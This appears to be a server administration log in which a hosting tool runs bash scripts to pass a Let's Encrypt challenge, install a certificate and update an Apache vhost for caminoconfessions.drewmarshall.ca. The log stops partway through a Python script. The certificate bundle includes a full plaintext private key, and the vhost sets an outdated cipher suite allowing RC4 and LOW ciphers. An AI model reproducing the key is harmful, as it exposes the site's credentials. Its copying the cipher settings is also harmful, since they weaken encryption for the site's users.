MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-08 19:00:42: Establishing a connection
2026-03-08 19:00:42: Establishing a connection
2026-03-08 19:00:43: 

PUT: /tmp/pkp253442

#!/bin/bash
if [ -d "/var/www/drewmarshall_caminoconfessions/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-08 19:00:43: 

chmod 755 /tmp/pkp253442; /tmp/pkp253442; rm /tmp/pkp253442

2026-03-08 19:00:43: 


1


2026-03-08 19:00:44: Establishing a connection
2026-03-08 19:00:44: 

PUT: /tmp/pkp615453

#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cat > fuxNVSx436oaNrs_fyCGTd7Ph6ozOk5MQKKMMoyD0dE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
fuxNVSx436oaNrs_fyCGTd7Ph6ozOk5MQKKMMoyD0dE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 fuxNVSx436oaNrs_fyCGTd7Ph6ozOk5MQKKMMoyD0dE


2026-03-08 19:00:44: 

chmod 755 /tmp/pkp615453; /tmp/pkp615453; rm /tmp/pkp615453

2026-03-08 19:00:44: 




2026-03-08 19:00:50: Establishing a connection
2026-03-08 19:00:50: 

PUT: /tmp/pkp551555

#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
rm fuxNVSx436oaNrs_fyCGTd7Ph6ozOk5MQKKMMoyD0dE


2026-03-08 19:00:50: 

chmod 755 /tmp/pkp551555; /tmp/pkp551555; rm /tmp/pkp551555

2026-03-08 19:00:50: 




2026-03-08 19:00:50: Establishing a connection
2026-03-08 19:00:50: 

PUT: /tmp/pkp486199

#!/bin/bash
temp_file=$(mktemp)
TARGET=0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt

cat > $temp_file <<'endmsg'
08:d4:31:79:52:d7:ad:98:94:42:8b:1a:ff:78:63:38

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBlZhRrBKFPozbxVDNUo6S45eMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzA4MTgwMjE5WhcNMjYwNjA2MTgwMjE4WjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQCqgtzlHBuaTfTzjDXXcLKDf5EsaiUinYoQceMc
HebVxGNJRSufkuRb8jXVdY2YTsu4etopPp2IzS6SThHWWvlh5fBKJ3Li6+fdh9/L
thmY8qJdZxjPf023P2sAsaR7y9tfZ/o4KenJzDjT2bWfp+3IalTQzhP8on+s1DQi
PwlslprK1KtSLkISYu0U7OH2yNJCwH6Oquf2huRyib5VS5MZOWM/R4v9TMxUmrXf
ggkWS5ir88aA5U80Cxt/X6CPiGTaalVdZdnEkt8qmJ5J3TqxBUBpvD/714uWhMT1
sxMPuJpu46VrVFzvfhqdtDLZNt7J/NyLbvA1cY34r8z8d/UZAgMBAAGjggIpMIIC
JTAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQU6oYp+gf9ViC6FdOcObe5lAf5V5kwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAsBgNVHREEJTAjgiFjYW1pbm9jb25m
ZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy85NS5jcmwwggEG
BgorBgEEAdZ5AgQCBIH3BIH0APIAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWF
sMsUwxRY5wAAAZzO0tXJAAAEAwBIMEYCIQCiGtAhxBiyAhAQSM/cBzt/j7EnkqSS
vKia3WnuGV0TPQIhAOOHOzK6Xy3WD3C55C2UmIItUhS1qHxBnDvwoAjd2SeJAHcA
lpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGcztLWCAAABAMASDBG
AiEA7gFKVW2h8JmLtx7y9YAjo6U8cKU60taF+0F7VNvwSygCIQD7CuWzzvgvpwwF
3JU7yg4+tAbSXsRWV2tR7OYIUivIETANBgkqhkiG9w0BAQsFAAOCAQEAmiKLG/Z/
gvH2aL+RPjakgtlm/wIvIOFdoJ5vAHD9a7B7gDVSXmLiqSyD8ruk111RsbQ848Ei
l35N839UqshPJs2ETw/mWi8dG02Ew/sn0yHBrjLIIXkOQk1BJCSP07KjK1z4iE6s
MxEEXI5T3+KkJznMwR0fmYUUT9eVZ2zDZJm1SYDqK0nYkrmTyzdoLDr/uCw10/n/
b2UgG4ULC3retBYONR5YfQFyj55+1+eOkWU+uQxQ+XsvK/WBJSRIOpZeAsi7jZ9T
lRRIrz8pF0ZQ00K044fi5vJ0d4PgnIzmRCQ7duFDRbeTZcutxzcYZHLWjiSfF8uw
IotlxgbLHfONxw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqgtzlHBuaTfTz
jDXXcLKDf5EsaiUinYoQceMcHebVxGNJRSufkuRb8jXVdY2YTsu4etopPp2IzS6S
ThHWWvlh5fBKJ3Li6+fdh9/LthmY8qJdZxjPf023P2sAsaR7y9tfZ/o4KenJzDjT
2bWfp+3IalTQzhP8on+s1DQiPwlslprK1KtSLkISYu0U7OH2yNJCwH6Oquf2huRy
ib5VS5MZOWM/R4v9TMxUmrXfggkWS5ir88aA5U80Cxt/X6CPiGTaalVdZdnEkt8q
mJ5J3TqxBUBpvD/714uWhMT1sxMPuJpu46VrVFzvfhqdtDLZNt7J/NyLbvA1cY34
r8z8d/UZAgMBAAECggEAGrqn6Qx2cUJuNy2QFSU3/rAlMEq1Zo8+oORRf0tar8D4
9Xfv5jRvMtCtyrgCSdF0UweDInsL0/GiLtIpLqqVNFkIyX8UnejwMISHuxXhPl4u
wKiUNZbVtnetDO9MAxIKYhLZISvE19r5P5B9zbjT6BpvEEp1zKEmlY+wWnv6PLi/
BgjNkCV51ELOiO18Gq9sKdaTwUDk1SDy8FWBDfrg+zhjozeeNPhoTF4y2mKkEi5f
SS9gpc5p/Q1w6zgZS2s1jyqd136TEnA+UIUwZii71EGDIM5nRdO6IGZfZotaLbKU
h/oOR5ejiNJaxqlQgh9MfqL92T5LaOSBs+YkocF1zwKBgQDwZApQeARlpnvvNWJr
GRdRJ1bkjglHD/75BJAoxtNeKpItCUHOCxvwdGStbbFg244azFE1EAwYOpiuTyBz
jrRPHU0xgQ14m5vWRUClG2eQM2SfXHb45aET+lSHgVa2Nu/+LjM7Jnqun5mSf0Io
C3pBVtvoQmFUFfnhoSWu/QH+5wKBgQC1lTr4tkeqBJlwIYyoBqI+2tSMo07VsJNO
Qv3ynW9Mo8OPYRAPY9D3RE8FTYJNVM5stAxtDiUVjA593g2AHk6SfwZqCnV+wBmj
5QtmoJIMZUxrhN226kgPkoHz5bI56OyjBEJ36HrDZOOoOdqCOh/f+KE8JPe3FH4z
EOl0Wvvr/wKBgQDZ2N8cA1eAwvnnUoqpIajmy27MWwd/Vbir9H2r5lrgKFYl6BCx
Z5HfO6uNGy4252EFWglxu+QqBNgehuiSsE0osRYmeZw6o1H7QPEPbyFQJbLXVFUg
xABQeXgnAIgTQwAEadvVi85793iVsSvD3HrjQZKyDY3kRLIZzg63YONxGwKBgAv0
nmRfxAoqsVuTqeoqPaZ7zADSg89IB/rgKE5AFWLraWXYUzFgNhMBuV41Az5KNiks
FaFcjA6GITIiW6sy06OLn4V92MyWo1mKLBz+t37/cG+n2N1BQatczxea6QgtEN+O
2T2B3gtdaivaW0u1vgGGIj+Og4zXWZPNKkHR98JLAoGAZs77pJb6rlZy6Biq+jPJ
OnlBWYT3VFgbCC09Imc9thXj88EEkn5LcVIn84jdl3uT9vyh5vvkozUMi+Wc+hiN
PkeR9dhOMvmwz/4+tT7wLFQ6rOKsxtmq5KOUey78umoqf+C+bEdkjTupc7KxZAA5
LyGW5AYaf9PjSuY8TyQCTtQ=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-08 19:00:50: 

chmod 755 /tmp/pkp486199; /tmp/pkp486199; rm /tmp/pkp486199

2026-03-08 19:00:50: 


dir=/etc/ssl/certs


2026-03-08 19:00:50: 

PUT: /tmp/pkp576757

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-08 19:00:50: 

chmod 755 /tmp/pkp576757; /tmp/pkp576757; rm /tmp/pkp576757

2026-03-08 19:00:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf 57

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-08 19:00:50: 

PUT: /tmp/pkp661922

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_caminoconfessions_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf= 1'
fi


2026-03-08 19:00:50: 

chmod 755 /tmp/pkp661922; /tmp/pkp661922; rm /tmp/pkp661922

2026-03-08 19:00:50: 




2026-03-08 19:00:50: 

PUT: /tmp/pkp172059

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-08 19:00:50: 

chmod 755 /tmp/pkp172059; /tmp/pkp172059; rm /tmp/pkp172059

2026-03-08 19:00:50: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-08 19:00:50: Establishing a connection
2026-03-08 19:00:51: 

PUT: /tmp/pkp796472

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-08 19:00:51: 

chmod 755 /tmp/pkp796472; /tmp/pkp796472; rm /tmp/pkp796472

2026-03-08 19:00:51: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-08 19:00:51: 

PUT: /tmp/pkp925231

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
